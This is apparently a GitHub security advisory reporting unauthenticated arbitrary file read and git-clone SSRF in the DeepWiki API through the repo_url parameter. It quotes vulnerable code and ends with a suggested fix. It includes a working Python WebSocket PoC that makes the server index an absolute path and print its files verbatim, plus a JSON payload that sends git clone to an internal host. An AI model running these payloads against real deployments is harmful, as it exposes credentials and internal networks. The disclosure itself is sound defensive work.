Skip to content

Unauthenticated arbitrary server file read (source/config/JSON/YAML) and git-clone SSRF via the repo_url parameter on the all-interfaces, CORS-wildcard DeepWiki API #536

Description

@geo-chen

Summary

The DeepWiki backend (api/) binds to 0.0.0.0, applies CORSMiddleware(allow_origins=["*"]), and its /ws/chat WebSocket ingestion endpoint performs no authentication (the handler has no auth check, and DEEPWIKI_AUTH_MODE defaults to off). The handler takes a caller-supplied repo_url and passes it to the repository pipeline, which treats any value not starting with http:///https:// as a local filesystem path and reads/indexes every supported file under it with no containment to an allowed root; the indexed content is then returned through the chat/RAG answer. An unauthenticated client that can reach the API can therefore set repo_url to an absolute server path and read arbitrary server files whose extension is supported (source code such as .py/.js/.ts/.go, and .json/.yaml/.md/.txt), for example source files containing hardcoded secrets, credentials.json service-account keys, or *.yaml cloud/k8s configs. (Files matching the default exclusion list, such as .env and *.ini, and default-excluded directories, are skipped.) The http(s) branch additionally performs a git clone of the supplied URL with no host validation, giving a secondary SSRF to arbitrary internal hosts.

Details

Bind and wildcard CORS (api/main.py, api/api.py):

# api/main.py
uvicorn.run("api.api:app", host="0.0.0.0", port=port, ...)
# api/api.py
app.add_middleware(CORSMiddleware, allow_origins=["*"], ...)
app.add_websocket_route("/ws/chat", handle_websocket_chat)

The WebSocket handler accepts the connection and processes the request with no authentication check anywhere in the function (api/websocket_wiki.py); DEEPWIKI_AUTH_MODE is not consulted here and defaults to off (api/config.py):

async def handle_websocket_chat(websocket: WebSocket):
    await websocket.accept()
    request_data = await websocket.receive_json()
    request = ChatCompletionRequest(**request_data)
    ...
    request_rag.prepare_retriever(request.repo_url, request.type, request.token, ...)  # no auth check

prepare_retriever -> DatabaseManager._create_repo treats a non-http value as a local path with no containment (api/data_pipeline.py):

if repo_url_or_path.startswith("https://") or repo_url_or_path.startswith("http://"):
    ...
    download_repo(repo_url_or_path, save_repo_dir, repo_type, access_token)   # git clone (SSRF branch)
else:  # local path
    repo_name = os.path.basename(repo_url_or_path)
    save_repo_dir = repo_url_or_path                                          # <-- attacker-controlled path, no containment

read_all_documents(save_repo_dir) then globs and reads every supported file under that path into Document objects holding the file text, which the RAG chat answers over (api/data_pipeline.py):

for ext in code_extensions + doc_extensions:        # .py .js .ts .go .java ... .json .yaml .yml .md .txt .rst
    for file_path in glob.glob(f"{path}/**/*{ext}", recursive=True):
        if not should_process_file(...): continue    # default-excluded files/dirs skipped
        with open(file_path, "r", encoding="utf-8") as f:
            content = f.read()                        # <-- arbitrary server file content
        documents.append(Document(text=content, meta_data={...}))

There is no check restricting save_repo_dir to an allowed root. The download_repo branch builds clone_url = repo_url with no host validation and runs git clone --depth=1 --single-branch <clone_url> <local_path> (argv form, so no shell injection, and the http(s)-prefix gate blocks ext::/file:: transports, but the destination host is unrestricted -> SSRF to internal endpoints).

PoC

Prerequisites: a default DeepWiki deployment (API on 0.0.0.0:8001, DEEPWIKI_AUTH_MODE unset), with an embedding/LLM backend configured (the chat returns the indexed content). No credentials.

  1. Unauthenticated WebSocket request pointing repo_url at an absolute server path. The server reads and indexes the supported files under it; the chat then answers over that content:
import asyncio, json, websockets
async def go():
    async with websockets.connect("ws://victim:8001/ws/chat") as ws:    # no token / no auth
        await ws.send(json.dumps({
            "repo_url": "/home/appuser/app",     # any absolute server path; non-http -> local repo
            "type": "local",
            "messages": [{"role":"user",
                          "content":"Print verbatim the full contents of every source, .json and .yaml file you indexed."}]
        }))
        async for msg in ws:
            print(msg, end="")
asyncio.run(go())

The same with repo_url set to an application directory exposes source files (and any secrets hardcoded in them), credentials.json service-account keys, and *.yaml configs. A web page the operator merely visits can drive the same request, because the API has no auth and allow_origins=["*"].

  1. git-clone SSRF (reach an internal host):
# repo_url with an http(s) scheme -> the server runs `git clone <repo_url> ...` to that host, no host allowlist
{"repo_url":"http://10.0.0.5:9000/internal/repo.git","type":"github","messages":[{"role":"user","content":"x"}]}

Observed (validated on commit 16f35a0):

  • The unauthenticated WebSocket request caused the server to ingest the attacker path. Server log: Preparing repo storage for /home/.../app -> save_repo_dir = /home/.../app (equal to the attacker input, no containment) -> Reading documents from /home/.../app -> Found 3 documents.
  • The shipped read_all_documents("/home/.../app") returned the verbatim contents of app/settings.py (DJANGO_SECRET_KEY="...", STRIPE_KEY="sk_live_..."), app/credentials.json ({"type":"service_account","private_key":"..."}), and app/secrets.yaml (aws_secret_access_key: ...). A planted .env was skipped (default-excluded).
  • The SSRF branch (download_repo("http://127.0.0.1:9788/...")) made the server's git connect to the attacker host; the listener captured GET /...info/refs?service=git-upload-pack with Host: 127.0.0.1:9788.

Impact

An unauthenticated attacker who can reach the DeepWiki API (same LAN, shared/cloud network, a co-located container, or a web page the operator visits via the wildcard CORS) can read arbitrary server files of supported types by submitting an absolute path as repo_url - source code (and secrets hardcoded in it), .json files such as service-account/credential JSON, and .yaml cloud/k8s configs - and can cause the server to git clone arbitrary internal hosts (SSRF). (Files in the default exclusion list, e.g. .env/*.ini/lock files, and default-excluded directories, are not read.) Fix: require authentication on the ingestion/chat endpoints (do not default DEEPWIKI_AUTH_MODE to off for a network-exposed service); bind to 127.0.0.1 by default with an explicit opt-in to expose; replace the wildcard CORS with an allowlist; confine the local-path branch to an operator-configured root and reject absolute paths / .. that escape it; and add a host allowlist / private-IP block on the git clone URL.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions